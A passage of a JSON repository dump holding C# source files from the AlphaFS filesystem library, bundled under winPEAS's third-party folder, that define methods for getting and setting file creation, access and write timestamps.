    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <param name=\"path\">The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtc(string path)\n      {\n         return GetCreationTimeCore(null, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <param name=\"path\">The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtc(string path, PathFormat pathFormat)\n      {\n         return GetCreationTimeCore(null, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetCreationTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return GetCreationTimeCore(transaction, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time, in Coordinated Universal Time (UTC) format, of the specified file.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified file. This value is expressed in UTC time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain creation date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetCreationTimeCore(transaction, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTime(string path)\n      {\n         return GetLastAccessTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTime(string path, PathFormat pathFormat)\n      {\n         return GetLastAccessTimeCore(null, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLastAccessTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetLastAccessTimeCore(transaction, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtc(string path)\n      {\n         return GetLastAccessTimeCore(null, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtc(string path, PathFormat pathFormat)\n      {\n         return GetLastAccessTimeCore(null, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastAccessTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLastAccessTimeCore(transaction, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified file was last accessed.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain access date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last accessed. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetLastAccessTimeCore(transaction, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTime(string path)\n      {\n         return GetLastWriteTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTime(string path, PathFormat pathFormat)\n      {\n         return GetLastWriteTimeCore(null, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLastWriteTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in local time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetLastWriteTimeCore(transaction, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtc(string path)\n      {\n         return GetLastWriteTimeCore(null, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to.</summary>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtc(string path, PathFormat pathFormat)\n      {\n         return GetLastWriteTimeCore(null, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.GetLastWriteTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return GetLastWriteTimeCore(transaction, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified file was last written to.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain write date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the date and time that the specified file was last written to. This value is expressed in UTC time.</returns>\n      [SecurityCritical]\n      public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetLastWriteTimeCore(transaction, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Sets the date and time the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets the date and time the file was created.</summary>\n      /// <param name=\"path\">The file for which to set the creation date and time information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SecurityCritical]\n      public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetCreationTimeTransacted.cs",
